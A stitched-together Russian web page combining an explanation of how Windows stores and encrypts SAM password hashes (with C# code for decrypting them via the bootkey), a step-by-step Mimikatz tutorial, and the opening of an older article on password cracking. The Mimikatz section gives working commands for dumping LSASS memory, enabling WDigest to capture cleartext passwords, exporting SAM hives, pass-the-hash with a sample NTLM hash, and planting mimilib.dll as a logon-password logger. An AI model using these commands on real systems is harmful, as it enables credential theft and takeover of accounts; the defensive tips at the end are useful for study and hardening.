Кастомный интерфейс windows 10 — Ваш верный помощник с OS Windows

Совсем недавно, к годовщине первого выхода Windows 10, Microsoft порадовало пользователей выпуском крупного обновления этой популярной операционной системы.

Windows 10 Anniversary Update стала еще более совершеннее. Появились новые возможности, такие как:

Перетасовка кнопок в меню Пуск
Настоящая забота о пользователе в виде еще большего количества рекламных предложений
Изменение формы горячо любимых всеми плиток
Улучшенная отправка ваших персональных данных на серверы Microsoft
Отличная черно-белая форма оформления — опробованный метод борьбы с куриной слепотой
Новые иконки в минималистичном стиле — новое слово в дизайне и плод многомесячной работы тысяч дизайнеров
Разбиение настроек системы по разным диалогам, для развития экстрасенсорных возможностей пользователя

Ну а если говорить серьезно, то наряду с огромным количеством «полезных» визуальных плюшек появились и такие, которые действительно вызывают восхищение. Например, командная строка Linux, чистая переустановка системы, улучшенный интеллект Cortana, новые способы входа в систему при помощи Windows Hello и т.д.

Забавно, но в документации по новым возможностям защиты Windows 10 нигде не упомянут тот факт, что обычная система входа тоже претерпела некоторые изменения. Незначительные, но тем не менее достаточные, чтобы перестало работать большинство утилит для вытаскивая парольных хэшей Windows. Эти изменения, вероятно, тесно связаны с политикой Microsoft о прекращении поддержки устаревших и уязвимых криптографических алгоритмов. В нашем конкретном примере, это отказ от алгоритма шифрования RC4. К счастью, последние версии программы Reset Windows Password уже получили поддержку новой схемы шифрования Windows 10 AU.

Пароли пользователей, как заявляет Microsoft, хранятся в системе не в текстовом представлении, а в виде хэшей, которые можно просмотреть, открыв ветку реестра (доступ к ней имеет только система):
HKLM/SAM/SAM/Domains/Account/users/<RID>/V.
Где <RID> — уникальный идентификатор пользователя. Уникальный идентификатор пользователя можно узнать, просканировав ветки
HKLM/SAM/SAM/Domains/Account/users/names/<NAME>
В них каждому ключу с именем пользователя прописан соответствующий ему RID. Например, RID учетной записи ‘Administrator’ всегда равен 500 (0x1F4 в шестнадцатеричной нотации), а пользователя Guest — 501 (0x1F5).

Любая V запись содержит данные переменной длины, соответствующие этой учетной записи. От аббревиатуры, видимо, произошло и название: V — Variable, в отличие от C — Constant. Каждая переменная в V записи кодируется через константу от 0 до 0xCC. Например, имя пользователя соответствует константе 0xС. Через нее по смещению, определяемому самой константой, находится индекс со смещением на данные. LM- и NT-хэши закодированы через константы 0x9C и 0xA8 соответственно. Но для получения конечного хэша пароля, он должен пройти несколько дополнительных этапов расшифровки.

Структура хранения хэшей пользователя в реестре SAM

Давайте рассмотрим условную схему получения NTLM хэша пользователя, как это происходит в самой системе:

Первоначально система определяет путь к ключу реестра в котором хранятся настройки учетной записи. Например, HKLM/SAM/SAM/Domains/Account/Users/00001F4
Затем происходит чтение переменной, отвечающей за хранение NTLM хэша. Она соответствует константе 0xA8. Берем нашу константу и читаем индекс данных, содержащийся по этому смещению. В нашем случае это 0x19C. Прибавляем индекс данных к адресу 0xCC и получаем смещение 0x268, по которому находятся реальные данные, т.е. наш сырой NTLM хэш. Смотрите картинку. Теперь хэш может быть прочитан, необходимо его расшифровать.
При помощи SYSKEY расшифровывается главный ключ SAM сессии (SAM session key). Ключ SAM сессии хранится в ветке реестра HKLM/SAM/SAM/Domains/Account/V. Фактически, эта структура данных подразумевает хранение двух ключей шифрования: текущего и предыдущего. Алгоритмы, используемые на этом шаге: MD5 и RC4. В Windows 10 Anniversary Update RC4 заменен на AES.
С помощью ключа SAM сессии берется сырой хэш, полученный на шаге 2, и расшифровывается при помощи алгоритма RC4 или AES (для Windows 10 Anniversary Update).
Теперь полученные данные проходят последнее финальное преобразование алгоритмом DES, где в качестве ключа шифрования берется RID пользователя. Наш NTLM хэш готов.

Как видно из схемы, в Windows 10 Anniversary Update потоковый алгоритм шифрования RC4 в 3-м и 4-м шаге был заменен блочным шифром AES. Это привело к изменению структуры хранения данных (как минимум потому, что длина данных в блочном шифре AES всегда кратна 16), но не позволило увеличить стойкость операционной системы к взлому.

Вывод. В Windows 10 Anniversary Update были изменены алгоритмы шифрования учетных записей SAM. Новые алгоритмы улучшили защиту парольных хэшей? Нет. Стоило городить огород? Да, так как унифицированные изменения коснулись и доменных пользователей Windows Server 2016, некоторые приватные данные которых могли быть скомпрометированы уязвимостью устаревшего алгоритма RC4. Но это уже совсем другая история.

Документ доступен для свободного распространения
и перепечатки с обязательной ссылкой на первоисточник.
(с) 2006 Passcape Software. All rights reserved.

Опубликовано:
11:56:38 01.12.2016
Автор:
Passcape_Admin
Последнее обновление
12:30:46 01.12.2016

Источник

Время на прочтение7 мин

Количество просмотров92K

Про взлом паролей windows было написано немало статей, но все они сводились к использованию какого-либо софта, либо поверхностно описывали способы шифрования LM и NT, и совсем поверхностно описывали syskey. Я попытаюсь исправить этот неодостаток, описав все подробности о том где находятся пароли, в каком виде, и как их преобразует утилита syskey.

Существует 2 возможности получения пароля — через реестр, или получив прямой доступ к файлам-кустам реестра. В любом случае нужны будут либо привелегии пользователя SYSTEM, либо хищение заветных файлов, например, загрузившись из другой ОС. Здесь я не буду описывать возможности получения доступа, но в целях исследования нагляднее будет выбрать первый вариант, это позволит не заострять внимание на структуре куста реестра. А запуститься от системы нам поможет утилита psExec от sysinternals. Конечно, для этих целей можно использовать уязвимости windows, но статья не об этом.

V-блок

Windows до версии Vista по умолчанию хранила пароль в двух разных хэшах — LM и NT. В висте и выше LM-хэш не хранится. Для начала посмотрим где искать эти хэши, а потом разберемся что из себя они представляют.

Пароли пользователей, а так же много другой полезной информации хранится в реестре по адресу HKLM\SAM\SAM\Domains\Account\users\[RID]\V
, известном как V-блок. Раздел SAM находится в соответствующем файле c:\Windows\System32\config\SAM. RID — уникальный идентификатор пользователя, его можно узнать, например заглянув в ветку HKLM\SAM\SAM\Domains\Account\users\names\<имя пользователя> (параметр Default, поле — тип параметра). Например, RID учетной записи «Администратор» всегда 500 (0x1F4), а пользователя «Гость» — 501 (0x1f5). Доступ к разделу SAM по умолчанию возможен только пользователю SYSTEM, но если очень хочется посмотреть — запускаем regedit c правами системы:

PsExec.exe -s -i -d regedit.

Чтобы наблюдать V-блок в удобном виде можно, например, экспортировать его в текстовый файл (File-Export в Regedit).
Вот что мы там увидим:

От 0x0 до 0xCC располагаются адреса всех данных, которые находятся в V-блоке, их размеры и некоторая дополнительная информация о данных. Чтобы получить реальный адрес надо к тому адресу, что найдем прибавить 0xCC. Адреса и размеры хранятся по принципу BIG ENDIAN, т.е понадобится инвертировать байты. На каждый параметр отводится по 4 байта, но фактически все параметры умещаются в одном-двух байтах. Вот где искать:

Адрес имени пользователя — 0xС
Длина имени пользователя — 0x10
Адрес LM-хэша — 0x9с
Длина LM-хэша — 0xa0
Адрес NT-хэша — 0xa8
длина NT-хэша — 0xac

В данном случае имя пользователя найдется по смещению 0xd4 + 0xcc и его длина будет 0xc байт.
NT-хэш будет располагаться по смещению 0x12c + 0xcc и его размер (всегда один и тот же) = 0x14.

Еще одна деталь, касающаяся хранения паролей — как к NT- так и к LM-хэшу всегда добавляются спереди 4 байта, назначение которых для меня загадка. Причем 4байта будут присутствовать даже если пароль отключен. В данном случае видно, что длина LM хэша =4 и если посмотреть на его адрес, можно эти 4 байта увидеть несмотря на то что никакого LM-хэша нет.
Поэтому при поиске смещений хэшей смело прибавляем 4 байта к адресу, а при учете размеров — вычитаем. Если удобнее читать код — вот примерно так будет выглядеть поиск адресов с учетом инверсии, лишних четырех байтов и прибавления стартового смещения 0xcc (код C#)

int lmhashOffset = userVblock[0x9c] + userVblock[0x9d] * 0x100 + 4 + 0xcc; int nthashOffset = userVblock[0xa8] + userVblock[0xa9] * 0x100 + 4 + 0xcc; int lmhashSize = userVblock[0xa0] + userVblock[0xa1] * 0x100 - 4; int nthashSize = userVblock[0xac] + userVblock[0xad] * 0x100 - 4; int usernameOffset = userVblock[0xc] + userVblock[0xd] * 0x100 + 0xcc; int usernameLen = userVblock[0x10] + userVblock[0x1a] * 0x100;
userVblock — значение HKLM\SAM\SAM\Domains\Account\users\\V в виде массива байт.
Еще про V-блок можно почитать тут.

Алгоритмы

Теперь разберемся в алгоритмах шифрования.
Формирование NT-хэша:
1. Пароль пользователя преобразуется в Unicode-строку.
2. Генерируется MD4-хэш на основе данной строки.
3. Полученный хэш шифруется алгоритмом DES, ключ составляется на основе RID пользователя.
Формирование LM-хэша:
1. Пароль пользователя преобразуется в верхний регистр и дополняется нулями до длины 14 байт.
2. Полученная строка делится на две половинки по 7 байт и каждая из них по отдельности шифруется алгоритмом DES. В итоге получаем хэш длиной 16 байт (состоящий из двух независимых половинок длиной по 8 байт).
3. Полученный хэш шифруется алгоритмом DES, ключ составляется на основе RID пользователя.

4. В windows 2000 и выше оба полученых хэша дополнительно шифруются алоритмом RC4 с помощью ключа, известного как «системный ключ» или bootkey, сгенерированого утилитой syskey, и шифруются довольно хитрым образом.

Рассмотрим общую последовательность действий для получения исходного пароля и каждый шаг в отдельности
1. Получаем bootkey, генерируем на его основе ключи для RC4, расшифровываем хэши с помощью RC4
2. Получаем ключи для DES из RID’ов пользователей, расшифровываем хэши DES’ом
3. Полученые хэши атакуем перебором.

Bootkey

Системный ключ (bootkey) разбит на 4 части и лежит в следующих разделах реестра:

HKLM\System\CurrentControlSet\Control\Lsa\JD
HKLM\System\CurrentControlSet\Control\Lsa\Skew1
HKLM\System\CurrentControlSet\Control\Lsa\GBG
HKLM\System\CurrentControlSet\Control\Lsa\Data

Раздел system находится в файле c:\Windows\System32\config\system

Следует отметить, что раздел CurrentControlSet является ссылкой на один из разделов controlset и создается в момент загрузки системы. Это значит что не получится его найти в файле system, если система неактивна. Если вы решили искать ключ в файле — необходимо узнать значение ContolSet по умолчанию в HKLM\SYSTEM\Select\default.
например если HKLM\SYSTEM\Select\default = 1 — вместо HKLM\System\CurrentControlSet\ ищем в HKLM\System\controlset001\

У каждого ключа реестра есть некий скрытый атрибут, известный как «class». Regedit его так просто не покажет, однако его можно увидеть, например, если экспортировать эти ключи реестра в текстовые файлы. В winapi для получения этого атрибута есть функция RegQueryInfoKey.
Фрагменты хранятся в строковом представлении шестнадцатеричных чисел, причем по принципу BIG ENDIAN (т.е не строка задом наперед, а число).
Например мы обнаружили вот такие записи:

Key Name: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\JD Class Name: 46003cdb = {0xdb,0x3c,0x00,0x46} Key Name: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Skew1 Class Name: e0387d24 = {0x24,0x7d,0x38,0xe0} Key Name: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\GBG Class Name: 4d183449 = {0x49,0x34,0x18,0x4d} Key Name: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Data Class Name: 0419ed03 = {0x03,0xed,0x19,0x04}

Собраный из четырех частей ключ будет массивом байт:

scrambled_key = {0xdb,0x3c,0x00,0x46,0x24,0x7d,0x38,0xe0,0x49,0x34,0x18,0x4d,0x03,0xed,0x19,0x04};

Далее элементы этого массива переставляются на основе некоторого константного массива p

int[] p = { 0xb, 0x6, 0x7, 0x1, 0x8, 0xa, 0xe, 0x0, 0x3, 0x5, 0x2, 0xf, 0xd, 0x9, 0xc, 0x4 };
Элементы в этом массиве определяют позиции для перестановок, т.е.

key[i] = scrambled_key[p[i]];
В нашем примере получится массив:

key[] = {0x4d,0x38,0xe0,0x3c,0x49,0x18,0x19,0xdb,0x46,0x7d,0x00,0x04,0xed,0x34,0x03,0x24 };

этот массив и есть так называемый bootkey. Только в шифровании паролей будет учавствовать не он а некий хэш на основе bootkey, фрагментов f-блока и некоторых констант. Назовем его Hashed bootkey.

Hashed bootkey

для получения Hashed bootkey нам понадобятся 2 строковые константы (ASCII):

string aqwerty = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"; string anum = "0123456789012345678901234567890123456789\0";
Также понадобится F-блок пользователя (HKLM\SAM\SAM\Domains\Account\users\\F), а именно его 16 байт: F[0x70:0x80]

На основе этих значений, склееных в один большой массив формируем MD5 хэш, который будет являться ключем для шифрования RC4

rc4_key = MD5(F[0x70:0x80] + aqwerty + bootkey + anum).

Последним шагом для получения hashed bootkey будет rc4 шифрование( или дешифрование — в rc4 это одна и та же функция) полученым ключем фрагмента F-блока F[0x80:0xA0];

hashedBootkey = RC4(rc4_key,F[0x80:0xA0])

Hashed bootkey у нас в руках, осталось научиться с ним правильно обращаться.

Дешифруем пароли с помощью Hashed Bootkey

для паролей LM и NT нам понадобятся еще 2 строковые константы —

string almpassword = "LMPASSWORD"; string antpassword = "NTPASSWORD";

а так же RID пользователя в виде 4х байт (дополненый нулями) и первая половина Hashed Bootkey (hashedBootkey[0x0:0x10]);
Все это склеивается в один массив байт и считается MD5 по правилам:
rc4_key_lm = MD5(hbootkey[0x0:0x10] +RID + almpassword); rc4_key_nt = MD5(hbootkey[0x0:0x10] +RID + antpassword);

полученый md5 хэш — ключ для rc4, которым зашифрованы LM и NT хэши в V-блоке пользователя

userLMpass = RC4(rc4_key_lm,userSyskeyLMpass); userNTpass = RC4(rc4_key_lm,userSyskeyNTpass);
На этом этапе мы получили пароли пользователя в том виде в каком они хранились бы без шифрования syskey, можно сказать, что самое сложное позади. Переходим к следующему шагу

DES

На основе четырех байт RID’а пользователя с помощью некоторых перестановок и побитовых операций создаем 2 ключа DES. Вот функции, которые осуществляют обфускацию (С#):
private byte[] str_to_key(byte[] str) { byte[] key = new byte[8]; key[0] = (byte)(str[0] >> 1); key[1] = (byte)(((str[0] & 0x01) << 6) | (str[1] >> 2)); key[2] = (byte)(((str[1] & 0x03) << 5) | (str[2] >> 3)); key[3] = (byte)(((str[2] & 0x07) << 4) | (str[3] >> 4)); key[4] = (byte)(((str[3] & 0x0F) << 3) | (str[4] >> 5)); key[5] = (byte)(((str[4] & 0x1F) << 2) | (str[5] >> 6)); key[6] = (byte)(((str[5] & 0x3F) << 1) | (str[6] >> 7)); key[7] = (byte)(str[6] & 0x7F); for (int i = 0; i < 8; i++) { key[i] = (byte)(key[i] << 1); } des_set_odd_parity(ref key); return key; }

private byte[] sid_to_key1(byte[] rid) { byte[] s = new byte[7]; s[0] = (byte)(rid[0] & 0xFF); s[1] = (byte)(rid[1] & 0xFF); s[2] = (byte)(rid[2] & 0xFF); s[3] = (byte)(rid[3] & 0xFF); s[4] = s[0]; s[5] = s[1]; s[6] = s[2];

return str_to_key(s); }

private byte[] sid_to_key2(byte[] rid) { byte[] s = new byte[7]; s[0] = (byte)((rid[3]) & 0xFF); s[1] = (byte)(rid[0] & 0xFF); s[2] = (byte)((rid[1]) & 0xFF); s[3] = (byte)((rid[2]) & 0xFF); s[4] = s[0]; s[5] = s[1]; s[6] = s[2];

return str_to_key(s); }

Ну здесь особо комментировать нечего, кроме функции des_set_odd_parity(ref key) — это одна из функций библиотеки openssl, задача которой добавить некоторые «биты нечетности», используется для повышения стойкости ключа к атакам.

Далее разбиваем NT (или LM) хэш на 2 части по 8 байт и дешифруем DES’ом -одна половина зашифрована ключем сформированым функцией sid_to_key1, вторая — sid_to_key2.
obfskey_l = userNTpass[0x0:0x7] obfskey_r = userNTpass[0x8:0xF] byte[] deskey1 = sid_to_key1(RID); byte[] deskey2 = sid_to_key2(RID); byte[] md4hash_l = DES(obfskey_l, deskey1); byte[] md4hash_r = DES(obfskey_r, deskey2);

После склеивания двух половин мы получим md4 хэш -в случае NT, или LanMan (DES) — в случае LM. Полученый хэш полностью готов к атаке перебором.
Кстати, md4 Хэш от пустого пароля — 31d6cfe0d16ae931b73c59d7e0c089c0

Исследование проведено на основе исходного кода ophcrack-3.3.1, а так же статьи Push the Red Button:SysKey and the SAM

Источник

В этой статье, написанной в рамках серии статьей, посвященной обеспечению безопасности Windows-систем, мы познакомимся с достаточно простой методикой получения паролей пользователей Windows с помощью Open Source утилиты Mimikatz.

Программа mimikatz позволяет извлечь из памяти Windows пароли в виде простого текста, хэши паролей, билеты kerberos из памяти и т.д. Также mimikatz позволяет выполнить атаки pass-the-hash, pass-the-ticket или генерировать Golden тикеты. Функционал mimikatz доступен также через Metasploit Framework.

Скачать утилиту mimikatz можно c GitHub: https://github.com/gentilkiwi/mimikatz/releases/. Распакуйте архив mimikatz_trunk.zip в каталог C:\Tools\mimikatz. В этом каталоге появятся две версии mimikatz – для x64 и x86. Используйте версию для своей битности Windows.

В этой статье мы покажем, как получить пароли пользователей в Windows Server 2016 или Windows с помощью mimikatz.

Дисклаймер. Информация и технологии, описанные в данной статье, стоит использовать только в информационно-ознакомительных целях, и ни в коем случае не применять для получения доступа к учетным записям, информации и системам третьих лиц.

Содержание:

Извлекаем хэши паролей пользователей из памяти Windows
Получение хешей паролей пользователей из дампа памяти Windows
Получение паролей пользователей из файлов виртуальных машины и файлов гибернации
Как узнать пароли пользователей Windows в открытом виде через протокол WDigest?
Извлекаем пароли локальных пользователей Windows из SAM
Использование Mimikatz в pass-the-hash атаках
Просмотр сохраненных паролей в Windows
Дампим пароли при входе в Windows
Как защитить Windows от извлечения паролей из памяти?

Извлекаем хэши паролей пользователей из памяти Windows

Попробуем извлечь хэши паролей всех залогиненых пользователей из памяти Windows (процесса lsass.exe — Local Security Authority Subsystem Service) на RDS сервере с Windows Server 2016.

Запустите Mimikatz.exe с правами администратора;
В контексте утилиты выполните команды:
mimikatz # privilege::debug

Данная команда предоставит текущей учетной записи права отладки процессов (SeDebugPrivilege).
mimikatz # sekurlsa::logonPasswords full

Данная команда вернет довольно большой список. Найдите в нем учетные записи пользователей.
В моем случае на сервере кроме моей учетной записи есть активные сессии двух пользователей: anovach и administrator.
Скопируйте их NTLM хэши (выделено на скриншоте). В моем случае получились такие данные:
```
anovach (NTLM: 79acff649b7a3076b1cb6a50b8758ca8)
Administrator (NTLM: e19ccf75ee54e06b06a5907af13cef42)
```

получение NTLM хэша пароля пользователя Windows из LSASS

Можно использовать mimikatz не в интерактивном, а в командном режиме. Чтобы автоматически получить хэши паролей пользователей и экспортировать в текстовый файл, выполните команды:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> c:\tools\mimikatz\output.txt

Теперь можно воспользоваться любым офлайн (есть утилита hashcat в Kali Linux) или онлайн сервисом по расшифровке NTLM хэшей. Я воспользуюсь сервисом https://crackstation.net/

Как вы видите, сервис быстро нашел значения для этих NTLM хэшей. Т.е. мы получили пароли пользователей в открытом виде (представьте, что один из них это администратор домена….).

Как вы видите, благодаря mimikatz мы получили NTLM хеши всех активных пользователей! Все это благодаря тому, что на данном компьютере разрешено использовать режим отладки, выставляя флаг SeDebugPrivilege для нужного процесса. В этом режиме программы могут получать низкоуровневый доступ к памяти процессов, запущенных от имени системы.

Примечание. В июне 2017 года многие крупные компании России, Украины и других стран были заражены вирусом-шифровальщиком not-petya, которые для сбора паролей пользователей и администраторов домена использовал в том числе интегрированный модуль mimikatz.

Получение хешей паролей пользователей из дампа памяти Windows

Рассмотренная выше методика получения хэшей пароля не сработает, если на сервере установлен антивирус, блокирующего инъекцию. В этом случае придется сначала создать дамп памяти процесса LSASS на целевом сервере, и затем на другом компьютере с помощью mimikatz извлечь из него хэши пароли для сессий пользователей.

Создать дамп памяти процесса в Windows довольно просто. Запустите Task Manager, найдите процесс lsass.exe, щелкните по нему правой клавишей и выберите Create dump file.

Windows сохраните дам памяти в указанную папку.

Вам осталось только разобрать дамп с помощью mimikatz (можно на другом компьютере). Загрузите дамп памяти в mimikatz:

Mimikatz “sekurlsa::minidump C:\Users\anovach\AppData\Local\Temp\lsass.DMP”

Вывести информацию о пользователях, и хэшах их паролей из сохраненного дампа памяти:

# sekurlsa::logonPasswords

Вы можете получить дамп памяти с удаленного компьютера с помощью psexec, или через WinRM (при наличии прав администратора), и затем из него пароли пользователей.

Также для получения дампа можно использовать утилиту procdump от Sysinterals.

procdump -ma lsass.exe lsass.dmp

Дамп памяти для процесса LSASS можно получить с помощью PowerShell функции Out-Minidump.ps1 . Импортируйте функцию Out-Minidump в PoSh и создайте дамп памяти процесса LSASS:

Import-Module .\OutMiniDump.ps1 Get-Process lsass | Out-Minidump

Получение паролей пользователей из файлов виртуальных машины и файлов гибернации

Также возможно извлечь пароли пользователей из файлов дампов памяти, файлов гибернации системы (hiberfil.sys) и. vmem файлов виртуальных машин (файлы подкачки виртуальных машин и их снапшоты).

Для этого понадобится пакет Debugging Tool for Windows (WinDbg), сам mimikatz и утилита преобразования .vmem в файл дампа памяти (для Hyper-V это может быть vm2dmp.exe или MoonSols Windows Memory toolkit для vmem файлов VMWare).

Например, чтобы преобразовать файл подкачки vmem виртуальной машины VMWare в дамп, выполните команду:

bin2dmp.exe "winsrv2008r2.vmem" vmware.dmp

Полученный дамп откройте в WinDbg (File -> Open Crash Dump). Загрузите библиотеку mimikatz с именем mimilib.dll (используйте версию библиотеки в зависимости от разрядности Windows):

.load mimilib.dll

Найдите в дампе процесс lsass.exe:

!process 0 0 lsass.exe

И наконец, выполните:

.process /r /p fffffa800e0b3b30 !mimikatz

В результате вы получите список пользователей Windows, и NTLM хэши их паролей, или даже пароли в открытом виде.

Как узнать пароли пользователей Windows в открытом виде через протокол WDigest?

В старых версиях Windows по умолчанию разрешалась дайджест-аутентификации (HTTP Digest Authentication) с помощью протокола WDigest. Основной недостаток этого протокола – для корректной работы он использует пароль пользователя в открытом виде, а не виде его хэша. Mimikatz позволяет извлечь эти пароли из памяти процесса LSASS.EXE.

Протокол WDigest по-умолчанию отключен во всех новых версиях Windows, в том числе Windows 10 и Windows Server 2016. Но не удален окончательно. Если у вас есть права администратора в Windows, вы можете включить протокол WDiget, дождаться входа пользователей и получить их пароли.

Включите поддержку Wdigest:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

Обновите GPO:

gpupdate /force

включить wdigest в windows через UseLogonCredential

Дождитесь входа пользователей (в Windows 10 нужно пользователю нужно перезайти, в Windows Server 2016 достаточно разблокировать сессию после блокировки экрана) и получите их пароли через mimikatz:

privilege::debug sekurlsa::wdigest

Как вы видите, в секции wdigest содержится пароль пользователя в открытом виде:

получение пароля пользователя в открытом виде

Извлекаем пароли локальных пользователей Windows из SAM

С помощью mimikatz вы можете извлечь хэши паролей локальных пользователей Windows из SAM так:

privilege::debug token::elevate lsadump::sam

Также можно извлечь NTLM хэши SAM из реестра.

Экспортируйте содержимое веток реестра SYSTEM и SAM в файлы:
reg save hklm\sam c:\tmp\sam.hiv reg save hklm\security c:\tmp\sec.hiv

Картинка с сайта: winitpro.ru
Затем с помощью Mimikatz извлеките хэши паролей:
privilege::debug token::elevate lsadump::sam c:\tmp\sam.hiv c:\tmp\sec.hiv

Использование Mimikatz в pass-the-hash атаках

Если у пользователя используется достаточно сложный пароль, и получить его быстро не удается, можно использовать Mimikatz для атаки pass-the-hash (повторное использование хэша). В этом случае хэш может использовать для запуска процессов от имени пользователя. Например, получив NTLM хэш пароля пользователя, следующая команда запустит командную строку от имени привилегированного аккаунта:

privilege::debug sekurlsa::pth /user:Administrator /domain:srv01 /ntlm:e19ccf75ee54e06b06a5907af13cef42 /run:powershell.exe

использование mimikatz для запуска команд по известному хэшу

Также для использования NTLM хэша для выполнения команд на удаленных компьютерах можно использовать утилиту Invoke-TheHash. Позволяет также

Просмотр сохраненных паролей в Windows

В Windows вы можете сохранять пароли в Windows Credential Manager (это могут быть пароли для доступа к удаленным компьютерам, сайтам, пароли для RDP подключений в формате TERMSRV/server1). Mimikatz может извлечь эти пароли из Credential Manager и показать их вам:

privilege::debug sekurlsa::credman

Как вы видите, сохраненый пароль показан в секции credman.

Дампим пароли при входе в Windows

Еще один интересный способ дампа паролей в Windows заключается в использовании дополнительно SSP провайдера (Security Support Provider).

Скопируйте файл библиотеки Mimikatz mimilib.dll в папку C:\Windows\System32\.
Зарегистрируйте дополнительного провайдер командой:
reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ

Картинка с сайта: winitpro.ru
При входе каждого пользователя в Windows его пароль будет записываться в файл kiwissp.log. Можно вывести все пароли через PowerShell:
Get-Content C:\Windows\System32\kiwissp.log

пароли всех пользователей зписываются при входе в Windows в тектовый файл

Как защитить Windows от извлечения паролей из памяти?

В Windows 8.1 и Server 2012 R2 (и выше) возможности по извлечению паролей через LSASS несколько ограничены. Так, по-умолчанию в этих системах в памяти не хранятся LM хэш и пароли в открытом виде. Этот же функционал бэкпортирован и на более ранние версии Windows (7/8/2008R2/2012), в которых нужно установить специальное обновление KB2871997 (обновление дает и другие возможности усилить безопасность системы) и отключить WDigest в реестре (в ветке HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest установить параметр DWORD реестра UseLogonCredential равным 0).

Если после установки обновления и ключа UseLogonCredential попробовать извлечь пароли из памяти, вы увидите, что mimikatz с помощью команды creds_wdigest не сможет извлечь пароли и хэши.

mimikatz creds_wdigest не работает в Windows 8.1 / 2012 R2 и выше

Выше мы показывали, как при наличии прав администратора можно легко установить этот ключ в уязвимое значение. После этого вы опять сможете получить доступ к паролям в памяти LSA.

В инструментарии mimikatz есть и другие инструменты получения паролей и их хэшей из памяти (WDigest, LM-hash, NTLM-hash, модуль для захвата билетов Kerberos), поэтому в качестве рекомендаций рекомендуется реализовать следующие меры:

Запретить хранить пароли с использование обратимого шифрования (Reversible Encryption);
Отключите Wdiget;
Отключить NTLM
Запретить использование сохранённых паролей в Credential Manager
Запретить кэшировать учетные данные доменных пользователей (ключ CachedLogonsCount и политика Interactive logon: Number of previous logons to cache)
Если функциональный уровень домена не ниже Windows Server 2012 R2, можно добавить учетные записи администраторов в специальную группу Protected Users ote. В этом случае NTLM хэши для таких пользователей создаваться не будут.
Включите защиту LSA процесса (данный параметр разрешит доступ к LSASS памяти только процессам, подписанным Microsoft):
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 00000001 /f
. Можно распространить этот параметр реестра на компьютеры через GPO.
Используйте Credential Guard для защиты содержимого LSA процесса;
Запретите получение debug полномочий даже для администраторов (GPO: Windows Settings -> Security Settings -> Local Policies -> User Rights Assignment -> Debug programs). Впрочем, это легко обходится при наличии прав SYSTEM или так.

Выводы. Еще раз напоминаем прописные истины:

Не стоит использовать одинаковые пароли для разных сервисов (особенно RDP/RDS хостов, находящихся во владении третьих лиц);
Задумайтесь о безопасности ваших паролей и данных, находящихся на виртуальных машинах в облаках, ведь вы не можете быть уверенными в том, у кого еще имеется доступ к гипервизорам и хранилищу, на котором расположены файлы виртуальных машины;
Минимизируйте в своих системах количество учетных записей, обладающих правами локального администратора (см. гайд об организации защиты учетных записей администраторов в среде Windows);
Никогда не заходите с учетной записью администратора домена на сервера и компьютеры, доступные другим пользователям.

Источник

Хэш-функции пароля

Количество возможных паролей

Сетевая аутентификация пользователей

Доступ к хэш-функциям паролей

Получение файла SAM

Извлечение хэш-функций из данных SAM

Использование сетевых снифферов

Практические примеры

Утилита LCP 5.04

Утилита LC5

Выводы

Как ни странно, но пользователи, а нередко и системные администраторы с трудом представляют себе, насколько просто можно взломать их компьютеры или проникнуть в локальную сеть. Причем в подавляющем большинстве случаев виновниками того, что компьютеры оказываются взломанными, являются сами пользователи. Впрочем, давайте прежде всего определимся с терминологией и в дальнейшем под словом «взлом» будем понимать получение учетной записи пользователя и его пароля. В принципе, пароль — это тот самый «золотой ключик», который позволяет открыть любую дверцу.

ряд ли кого-то из пользователей обрадует осознание того факта, что его компьютер, на котором может содержаться частная переписка либо быть установлена «аська» для общения с друзьями на личные темы, находится под пристальным контролем со стороны другого пользователя или системного администратора. И пристальный контроль в данном случае заключается в том, что все то, что отображается на мониторе вашего компьютера, может дублироваться на монитор того, кто за вами наблюдает. А ведь все, что для этого требуется, — это знание вашего сетевого пароля для входа в систему. И даже если ваш компьютер для обеспечения безопасности отключен от локальной сети и защищен паролем на вход в систему, это вовсе не означает, что в ваше отсутствие пароль кто-нибудь не вскроет и не получит доступ к конфиденциальной информации, хранящейся на вашем ПК.

Следует иметь в виду, что абсолютной защиты на сегодня вообще не существует. И если уж вас «заказали», то взлом вашего компьютера — это лишь вопрос времени. Единственное, что в данном случае можно сделать, — значительно усложнить задачу злоумышленнику, будь то злостный хакер или послушный системный администратор, который, строго выполняя директивы начальства, пытается поставить вас на контроль.

В этой статье мы рассмотрим основные приемы, которые используются для взлома компьютеров и для получения сетевых (доменных) паролей и локальных паролей пользователей. Кроме того, мы расскажем о том, как именно можно значительно усложнить задачу злоумышленнику и заставить его потерять всякий интерес к взлому вашего компьютера. Однако для того, чтобы понять, как взламываются пароли, вам сначала придется усвоить, каким образом происходит аутентификация пользователей, где и в каком виде хранятся их пароли и как вообще их можно подобрать. В дальнейшем мы будем основываться на операционной системе Windows 2000/2003/XP, хотя вскрытие паролей таких операционных систем, как Windows 95/98/Mе, еще проще.

Хэш-функции пароля

сли речь идет о локальном пароле пользователя для входа в систему (то есть без подключения к локальной сети), то такой пароль в зашифрованном виде хранится на самом компьютере. Зашифрованный пароль именуется хэшем (hash) или хэш-функцией пароля. Алгоритм хэширования — это алгоритм одностороннего шифрования, когда исходному паролю независимо от его длины ставится в соответствие числовое значение фиксированной длины (16 байт), полученное в результате обработки пароля по специальному алгоритму шифрования. Впрочем, в данном случае нас не интересуют алгоритмы шифрования как таковые — отметим лишь, что зашифрованный таким образом пароль невозможно восстановить. Сам по себе процесс шифрования является односторонним, и, даже зная хэш-функцию пароля, вычислить сам пароль принципиально невозможно.

